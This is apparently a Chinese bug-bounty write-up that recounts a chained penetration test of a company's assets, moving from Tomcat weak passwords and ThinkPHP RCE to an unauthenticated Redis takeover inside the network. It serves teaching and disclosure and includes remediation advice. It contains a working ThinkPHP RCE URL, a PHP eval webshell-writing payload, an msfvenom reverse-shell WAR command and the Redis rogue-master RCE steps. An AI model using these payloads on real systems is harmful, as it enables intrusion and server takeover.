从资产测绘到攻击链构建:一次SRC漏洞挖掘实战复盘

发布时间:2026/7/4 20:04:27
从资产测绘到攻击链构建:一次SRC漏洞挖掘实战复盘 1. 项目概述一次“意外”的高产渗透测试复盘那天下午我像往常一样坐在工位上准备对一个新上线的企业资产进行常规的漏洞扫描。这本来应该是一次例行公事目标是一个规模中等的互联网公司其业务涉及在线服务和数据处理。我手头只有几个模糊的域名和一段简短的目标描述这就是企业安全应急响应中心SRC漏洞挖掘的常态——信息有限目标明确但路径未知。我万万没想到这次看似普通的任务会演变成一场连续发现七个中高危漏洞的“狩猎盛宴”。整个过程与其说是技术碾压不如说是一次对攻击者思维的深度模拟和对目标资产“攻击面”的耐心梳理。今天我就把这趟“连爆七洞”的完整旅程拆解开来从信息收集的“盲人摸象”到漏洞验证的“庖丁解牛”分享其中每一个关键节点的思考、工具的选择、踩过的坑以及最终形成有效攻击链的逻辑。无论你是刚入行的安全新人还是想提升实战效率的老手相信这篇复盘都能给你带来一些直接的启发。2. 前期侦察从“一无所知”到“了如指掌”的资产测绘漏洞挖掘的第一步永远不是直接上扫描器狂轰滥炸而是静下心来像侦探一样勾勒目标的数字轮廓。对于SRC项目目标公司通常不会提供内部网络拓扑或源代码我们拥有的只是一个公司名称和几个主域名。如何将这几个“点”扩展成一张可供攻击的“面”是决定后续成果丰歉的关键。2.1 多维度的信息收集策略我的信息收集工作主要围绕四个维度展开子域名、关联资产、历史记录和人员信息。这并非机械地运行工具而是有策略的层层递进。首先子域名枚举是扩大攻击面的基石。我使用了多种工具进行交叉验证以避免单一工具的遗漏。除了经典的subfinder、amass我特别注重利用证书透明度日志如crt.sh和搜索引擎语法如site:example.com -www。这里有一个关键技巧将发现的所有子域名进行归类例如api.、admin.、test.、dev.、vpn.注此处仅为示例命名模式实际挖掘中需遵守法律法规仅测试授权资产、mail.等前缀的域名往往隐藏着管理后台、测试接口或关键服务优先级最高。其次关联资产发现。公司可能不止拥有一个主域名通过查询备案信息、投资关系、以及使用像fofa、shodan这样的网络空间测绘引擎搜索目标公司的商标名、邮箱后缀等经常能发现一些被遗忘的旧版系统、测试服务器甚至是暴露的数据库。这些边缘资产的安全防护通常最为薄弱。实操心得不要迷信全自动工具。工具跑出来的结果一定要人工逐一审查。我曾多次遇到工具将CDN服务商的域名误报为目标子域名的情况。一个快速甄别的方法是对比IP地址的归属。如果大量“子域名”解析到同一个知名的CDN IP段如Cloudflare、Akamai那么它们很可能不是真正的自有资产。真正的收获往往藏在那些解析到陌生IP段或公司自有ASN编号的域名中。2.2 端口与服务探测发现开放的“门”获取到一批有价值的域名和IP后下一步就是探测其上开放了哪些“门”端口以及门后是什么“房间”服务。我使用nmap进行端口扫描但策略并非简单的-p-全端口扫描虽然必要时也会做而是分阶段进行。第一阶段快速扫描常见端口-p 80,443,8080,8443,21,22,3306,6379...获取Web服务、数据库等常见目标。第二阶段针对第一阶段发现的特殊服务或疑似内部系统进行更细致的版本探测-sV和脚本扫描-sC。例如发现一个8080端口运行着Apache Tomcat我会立即用nmap的http-tomcat-mgr脚本尝试检测管理控制台是否存在默认口令。在这个阶段我整理出了一张简易的资产清单表格这为后续的漏洞挖掘提供了清晰的路径图资产类型地址/域名开放端口识别服务/应用初步风险评级备注主站www.target.com443Nginx Java Web App中业务核心防护可能较严API接口api.target.com443Spring Boot高数据交互核心参数多测试后台test-admin.target.com8080Apache Tomcat 8.5高暴露在外网使用默认路径/manager/html旧版系统old.target.com80PHP 5.6 ThinkPHP高框架版本老旧已知漏洞多文件服务器fs.target.com21, 80FTP, HTTP文件列表中匿名访问目录遍历缓存服务10.xx.xx.xx (内网渗透发现)6379Redis 4.0高危无认证可远程访问3. 漏洞挖掘实战七类漏洞的发现与利用链资产清单一目了然真正的“狩猎”开始了。这七个漏洞并非孤立存在它们相互关联最终构成了一条从外网到内网的攻击链。我将按照发现的逻辑顺序而非漏洞等级来逐一解析。3.1 漏洞一测试环境Tomcat后台弱口令与War包部署Getshell这是第一个突破口也是最经典的一种。在信息收集中发现的test-admin.target.com:8080服务器nmap脚本提示存在Tomcat管理界面 (/manager/html)。直接访问果然弹出了认证框。尝试与利用我首先尝试了Tomcat最常见的默认口令对tomcat:tomcat、admin:admin、role1:role1等均失败。这说明管理员修改了密码但安全意识可能不全面。使用弱口令字典进行爆破。这里没有用重型武器而是用一个精心筛选的、包含公司名缩写、年份、常见变形如Target2023,Admin123!的定制字典。很快爆破成功口令是admintest2023。登录管理后台后具备上传War包的功能。我本地快速打包一个包含JSP Webshell的War文件通过后台直接上传并部署。访问部署后的路径成功获取了一个交互式的Webshell具备了在该测试服务器上执行命令的能力。踩坑记录第一次上传的War包因为版本兼容性问题部署失败。Tomcat 7和8对Servlet规范支持有差异。解决办法是使用msfvenom生成与目标Tomcat版本匹配的War包木马或者直接用纯JSP的Webshell打包兼容性更好。msfvenom -p java/jsp_shell_reverse_tcp LHOST你的IP LPORT4444 -f war shell.war漏洞根源将带有高危功能的管理界面暴露于公网且使用了可被爆破的弱口令。这为后续的内网横向移动提供了第一个坚实的“桥头堡”。3.2 漏洞二旧版ThinkPHP远程代码执行RCE几乎在同时我对old.target.com的扫描也传来了“捷报”。该站点使用ThinkPHP 5.0.x版本而该版本存在多个无需认证的RCE漏洞例如经典的_method变量覆盖导致RCE。验证过程通过浏览器开发者工具或抓包确认了网站响应头中的X-Powered-By: ThinkPHP字段以及一些报错页面泄露的详细版本信息。使用公开的PoC概念验证代码进行测试。例如访问URLhttp://old.target.com/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1页面成功返回了phpinfo()的信息证实漏洞存在。利用与深化直接利用该漏洞执行系统命令例如whoami、ifconfig发现是www-data权限。进一步利用尝试写一个Webshell到Web目录。由于ThinkPHP的路径已知可以轻松写入...functionfile_put_contentsvars[0]shell.phpvars[1]?php eval($_POST[‘cmd’]);?通过中国菜刀或蚁剑连接Webshell获得第二个据点。注意事项对于这类已知框架漏洞公开PoC利用简单但动作大容易被WAF或日志记录。在SRC正式报告中证明漏洞存在即可不要进行深入的渗透或数据窃取操作以免触碰法律红线。我的做法是执行phpinfo()或echo md5(‘test’);这类无害命令证明RCE能力后即停止。3.3 漏洞三API接口未授权访问与敏感信息泄露在对api.target.com进行接口测试时我使用了Burp Suite的爬虫和Intruder模块。除了测试常规的越权水平/垂直我重点关注意图返回“401 Unauthorized”或“403 Forbidden”的接口。发现过程爬虫发现了一个路径/api/v1/admin/user/list首次访问返回403。通常情况下开发者可能会对Web层面的路由进行鉴权但忽略了后端服务间的内部接口。我尝试将请求的Host头改为127.0.0.1或localhost模拟一个内部请求。修改Host: 127.0.0.1后重放请求奇迹般地返回了200状态码并且JSON数据中包含了所有后台用户的列表包括用户名、邮箱、手机号部分脱敏和角色信息。进一步测试发现/api/v1/admin/config接口同样存在此问题泄露了数据库连接字符串、第三方API密钥等敏感配置信息。漏洞原理这是一种典型的“主机头校验绕过”导致的未授权访问。开发者在网关或应用层判断请求来源IP或域名但后端微服务API自身鉴权缺失或存在缺陷当请求头被篡改伪装成内部服务时校验就被绕过了。影响该漏洞直接导致大量敏感数据泄露攻击者可以获取系统用户清单为后续的精准钓鱼或密码爆破提供了数据支撑泄露的密钥则可导致更严重的业务和数据安全风险。3.4 漏洞四主站业务逻辑漏洞——订单金额篡改这是需要深入理解业务逻辑的漏洞。在主站www.target.com的购物流程中我通过抓包分析了一个创建订单的HTTP请求。分析与利用拦截到的请求包中有一个JSON字段totalAmount: 299.00表示订单总价。我尝试将其修改为totalAmount: 0.01或-1前端提交后服务器返回错误“金额不合法”说明后端有简单的范围校验。但我没有放弃继续观察整个请求体。发现还有一个字段discount: 0。我尝试修改discount: 298.99同时保持totalAmount: 299.00不变。提交请求服务器成功创建了订单但查看订单详情时实际支付金额变成了0.01299 - 298.99。然而在后续的支付环节系统却根据0.01元生成了支付二维码。深入分析发现后端逻辑漏洞校验和计算分离。服务器校验了totalAmount字段的合法性也校验了discount不能大于totalAmount。但是在生成最终支付金额payableAmount时其计算公式payableAmount totalAmount - discount的结果没有被再次进行“必须大于0”的强校验。攻击者通过构造一个discount无限接近totalAmount的值就能实现极低金额购买商品。实操心得业务逻辑漏洞的挖掘关键在于“模仿正常流程寻找异常参数”。不要只盯着明显的价格字段优惠券、积分、运费、税率等所有参与最终计算的参数都是潜在的篡改点。需要耐心地逐一测试这些参数是否可被修改、是否参与后端校验、以及多个参数之间的计算逻辑是否存在缺陷。3.5 漏洞五文件服务器FTP匿名访问与目录遍历资产清单中的fs.target.com开放了21端口。使用ftp命令连接尝试匿名登录用户名anonymous密码为空或任意邮箱竟然成功了。信息获取登录后发现这是一个公共文件存储服务器目录结构混乱。使用ls -la命令看到了许多以日期命名的文件夹以及一些疑似包含公司内部文档、项目备份的压缩包。更严重的是通过FTP客户端或命令行可以向上遍历目录看到了系统其他目录的列表虽然可能没有读写权限但目录结构信息已泄露。漏洞危害FTP匿名访问允许任何人下载服务器上的文件。如果其中存有开发配置文件如.env、config.properties、数据库备份、甚至是源代码压缩包将导致严重的信息泄露。目录遍历则进一步暴露了服务器文件系统结构。修复建议立即禁用FTP匿名访问为FTP服务配置强密码认证并将FTP用户禁锢在其专属目录内chroot。3.6 漏洞六从Webshell到内网Redis未授权访问这是攻击链的深化。通过漏洞一获取的Tomcat服务器Webshell我执行了ifconfig或ip addr命令发现该服务器处于一个内网网段例如10.10.x.x/24。内网探测在Webshell上上传了一个轻量级的端口扫描工具如nmap静态编译版或masscan对内网C段进行快速扫描。扫描结果中一个10.10.5.10的IP地址的6379端口开放服务识别为Redis。通过Webshell的代理功能例如使用reGeorg或EarthWorm建立socks5代理将我的攻击机流量代理到内网。使用redis-cli -h 10.10.5.10尝试连接无需密码直接连接成功获得了Redis的交互式命令行。漏洞利用 Redis未授权访问的危害极大。我可以数据泄露使用keys *查看所有键get命令获取敏感数据。写入Webshell如果知道Web目录路径可以通过Redis写入一句话木马文件。主从复制RCE通过Redis主从复制机制将攻击机伪装为Slave让目标Redis同步我精心构造的恶意模块从而实现远程代码执行。这是将权限从Redis服务提升到服务器系统权限的关键一步。核心技巧内网渗透中信息收集是第一位的。拿到一个Webshell后不要急于乱跑命令。先系统性地收集信息网络配置ipconfig/ifconfig、路由表route print、ARP缓存arp -a、主机名hostname、当前用户权限whoami、进程列表ps/tasklist、补丁情况systeminfo等。这些信息是规划下一步横向移动路线的地图。3.7 漏洞七利用Redis未授权访问实现权限提升与横向移动在确认Redis未授权且版本较低4.0后我尝试了利用主从复制RCE来获取服务器权限。利用步骤简述在攻击机上启动一个恶意的Redis服务器利用redis-rogue-server等工具该服务器预置了用于执行系统命令的Redis模块.so文件。在目标Redis上执行命令将其设置为攻击机Redis的从节点SLAVEOF。目标Redis会从攻击机同步数据包括恶意模块文件。通过Redis的MODULE LOAD命令加载恶意模块该模块暴露了执行系统命令的函数。调用该模块的函数即可在Redis服务权限下执行任意系统命令成功实现权限提升获得一个反向Shell或直接添加系统用户。至此通过外网Tomcat弱口令进入内网再利用内网Redis未授权漏洞提升权限我已经完全控制了一台内网服务器。以此为跳板可以进一步对内网其他服务如数据库、域控制器等进行渗透攻击链得以完整建立。4. 漏洞挖掘中的通用技巧与深度思考回顾这次“七连爆”运气成分固然有但更多是系统化方法和持久思考的结果。下面分享几个我认为在SRC挖掘中至关重要的通用技巧。4.1 思维模式从开发者与攻击者双视角看问题优秀的漏洞猎手必须具备双重思维。开发者视角理解功能是如何实现的。比如看到一个“忘记密码”功能要思考验证码在哪里生成和校验重置链接的token如何生成、存储和过期短信/邮箱验证是否可被绕过这能帮你快速定位逻辑漏洞。攻击者视角思考如何破坏这个实现。参数能否篡改请求能否重放边界条件是否处理如负数、超长字符串、特殊字符依赖的前端校验是否可信这能帮你构造出有效的攻击载荷。以“订单金额篡改”为例开发者视角是“总价单价*数量-折扣”攻击者视角则是“我能否让折扣等于总价”、“我能否让总价变成负数”。4.2 工具链的自动化与定制化纯粹手动测试效率低下完全依赖自动化则缺乏深度。我的策略是“自动化广撒网人工深度钓大鱼”。自动化使用xray、nuclei等被动扫描器在Burp Suite后台运行自动检测常见漏洞。编写简单的Python脚本批量测试接口的未授权、IDOR不安全的直接对象引用等问题。定制化针对目标业务定制字典和测试用例。例如针对目标公司将其产品名、项目代号、员工邮箱生成规则等融入用户名/密码字典。针对其API接口根据文档或爬取的数据结构编写特定的参数Fuzzing脚本。4.3 漏洞报告的写作艺术清晰、可复现、有深度挖到漏洞只是成功了一半一份优秀的漏洞报告才能确保它被快速、正确地修复。标题明确直接点明漏洞类型和位置如“【高危】XXX系统API接口主机头绕过导致未授权访问用户列表信息”。清晰复现步骤环境浏览器、工具版本。步骤一步一步像教程一样。从访问哪个URL开始每一步操作、发送的请求包可脱敏、看到的响应结果都要截图并附上。PoC代码如果涉及复杂利用提供简化的PoC脚本。说明危害不要只说“存在漏洞”。要阐述攻击者利用此漏洞能具体做什么如获取百万用户数据、零元购商品、控制服务器。给出修复建议提供具体、可操作的修复方案。不仅仅是“加强鉴权”而是“在/api/v1/admin/*路由的拦截器中增加基于JWT令牌的角色校验并移除对Host头的依赖改为校验内部服务认证密钥”。证明影响范围通过漏洞获取的非敏感样本数据如可证明漏洞存在的几条脱敏数据或对系统影响的无害证明如执行whoami不触碰真实数据。5. 总结反思与对安全建设的启示这次经历让我深刻体会到企业表面看似坚固的防线往往是由多个细微的疏忽共同瓦解的。一个暴露的管理后台、一个未更新的老旧框架、一处疏忽的鉴权逻辑、一个不该出现在公网的服务这些点被攻击者串联起来就形成了一条致命的攻击链。对于企业而言安全建设不能是孤立的补丁纵深防御不能只依赖防火墙和WAF。从边界到应用从网络到主机从代码到配置需要层层设防。最小权限原则Redis、FTP、数据库等服务必须强制身份验证并严格限制访问来源IP和用户权限。及时更新与下线对不再使用的测试系统、老旧框架版本应及时升级或彻底下线。暴露在互联网的资产应定期梳理和收敛。安全意识培训开发人员的安全编码意识、运维人员的配置安全意识与技术防护措施同等重要。对于安全研究员而言这次“连爆”的快乐是短暂的更重要的是从中提炼出可复用的方法论细致的资产梳理、双重视角的测试思维、对业务逻辑的深入理解、以及将分散漏洞串联成链的想象力。漏洞挖掘是一场与开发者的思维博弈也是一场与自己耐心的较量。保持好奇保持严谨下一个关键漏洞也许就藏在那个被你忽略的请求参数里。